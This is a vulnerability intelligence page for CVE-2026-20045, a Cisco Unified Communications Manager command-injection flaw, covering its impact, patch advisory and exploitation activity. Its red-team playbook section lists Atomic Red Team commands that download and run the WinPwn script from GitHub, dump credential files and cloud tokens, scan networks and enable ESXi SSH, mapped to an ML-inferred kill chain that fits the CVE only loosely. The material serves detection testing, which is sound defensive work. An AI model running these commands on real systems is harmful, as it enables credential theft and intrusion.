CVE-2026-20045

CRITICAL CISA KEV POC TTE Zero-Day Pub 21/01 Upd 26/02

Overview

This vulnerability is a command injection flaw caused by improper validation of user-supplied input within HTTP requests processed by the web-based management interface of Cisco Unified Communications Manager and related components. The root cause lies in the failure to sanitize or restrict input parameters, allowing crafted HTTP requests to invoke unauthorized command execution on the underlying operating system. Affected components include Unified Communications Manager, Session Management Edition, IM & Presence Service, Unity Connection, and Webex Calling Dedicated Instance.

Vulnerability Description

A vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device.  This vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root.  Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root.

Impact

An unauthenticated remote attacker can execute arbitrary commands on the underlying operating system, gaining initial user-level access and subsequently escalating privileges to root. No authentication or user interaction is required to exploit this vulnerability. This allows full system compromise, enabling data exfiltration, manipulation of system configurations, lateral movement within the network, and potential disruption of voice communication services.

Solution

Cisco has released a security advisory (cisco-sa-voice-rce-mORhqY4b) providing patches and updates for affected Unified Communications Manager products and related services. Administrators should apply the vendor-supplied software updates as detailed in the advisory to remediate the vulnerability. Refer to Cisco's official security center for exact patch versions and installation instructions to ensure complete mitigation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within several Cisco Unified Communications products, including Unified Communications Manager, Unified Communications Manager Session Management Edition, Unified Communications Manager IM & Presence Service, Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance. This vulnerability arises from improper validation of user-supplied input in HTTP requests directed at the web-based management interface of these devices. The flaw allows an unauthenticated remote attacker to execute arbitrary commands on the underlying operating system, which poses a significant risk to the integrity and confidentiality of the systems involved.

Exploitation of this vulnerability can occur through a series of crafted HTTP requests sent to the affected devices. An attacker can leverage this flaw without needing any form of authentication, making it particularly dangerous. Once the attacker successfully executes commands on the system, they can gain user-level access, which can be escalated to root privileges. This escalation allows the attacker to perform a wide range of malicious activities, including the installation of malware, data exfiltration, or even complete system compromise. The ease of exploitation combined with the high potential for damage underscores the severity of this vulnerability.

The real-world impact of this vulnerability is profound, especially for organizations relying on Cisco's communication solutions for critical business operations. If exploited, an attacker could disrupt communication services, leading to significant operational downtime. The potential for data breaches is also considerable, as sensitive information could be accessed or manipulated. The business risk extends beyond immediate operational concerns; organizations may face regulatory repercussions, reputational damage, and financial losses stemming from data breaches or service disruptions. The critical security impact rating assigned to this vulnerability reflects the urgent need for organizations to address it proactively.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected Cisco products is essential to close the security gap. Network segmentation can help limit the exposure of vulnerable systems to potential attackers, while monitoring network traffic for unusual patterns may aid in early detection of exploitation attempts. Additionally, employing web application firewalls can provide an additional layer of protection by filtering and monitoring HTTP requests. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.

In conclusion, the vulnerability affecting Cisco Unified Communications products represents a critical threat that demands immediate attention. The combination of easy exploitation and severe potential consequences necessitates a proactive security posture. Organizations must prioritize patching, implement robust detection mechanisms, and maintain an ongoing commitment to security best practices to mitigate the risks associated with this vulnerability effectively. By doing so, they can safeguard their communication infrastructure and protect sensitive data from malicious actors.




CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-20045, highlighted by the emergence of new proof-of-concept exploits publicly available on GitHub. Our telemetry indicates this is the first confirmed detection of active attempts to leverage this vulnerability in the wild, signaling a shift from theoretical risk to practical exploitation. Although the EPSS score remains moderate and stable, the presence of a high-confidence association with the ransomware group ShinyHunters elevates the threat landscape, suggesting potential integration of this vulnerability into broader attack campaigns. This development underscores an increased urgency for defenders, as the vulnerability’s exploitation is no longer confined to controlled demonstrations but is now observed in adversary operations. Consequently, the threat level should be reassessed as heightened, reflecting the transition from latent exposure to active exploitation with possible ransomware implications.



Update 2 — June 23, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20045, with telemetry indicating a significant uptick in exploitation attempts. This increase is accompanied by a substantial rise in the Exploit Prediction Scoring System (EPSS) value, reflecting growing adversary interest and a higher likelihood of successful exploitation in the near term. Concurrently, new proof-of-concept exploits have surfaced publicly, lowering the barrier for threat actors to weaponize this vulnerability. The continued association with the ransomware group ShinyHunters further amplifies the risk, suggesting that exploitation efforts may increasingly serve as initial access vectors in ransomware campaigns. Collectively, these developments elevate the threat posture from a latent vulnerability to an actively targeted risk, necessitating heightened vigilance from defenders as exploitation attempts become more frequent and sophisticated.

Affected Products (8)

Vendor Product Version CPE
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
cisco Cisco Unified Communications Manager All cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
cisco Cisco Unified Communications Manager Im And Presence Service All cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
cisco Cisco Unified Communications Manager Im And Presence Service All cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
cisco Cisco Unity Connection All cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
cisco Cisco Unity Connection All cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
dkstar11q/Ashwesker-CVE-2026-20045
CVE-2026-20045
dkstar11q 5 2 2026-01-25 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 1

shinyhunters
CONFIRMED
129 victims
ransomware.live
2026-06-25

Threat Feed

6 events
2026-06-25
Exploited by shinyhunters

Ransomware group known to exploit this vulnerability (129 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-01-25
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-01-21
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Privilege Escalation
50% privilege_escalation
Remote Code Execution
49% rce
OS Command Injection
46% command_injection
Path Traversal
44% path_traversal

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
48%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
41%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20045
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voice-rce-mORhqY4b
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20045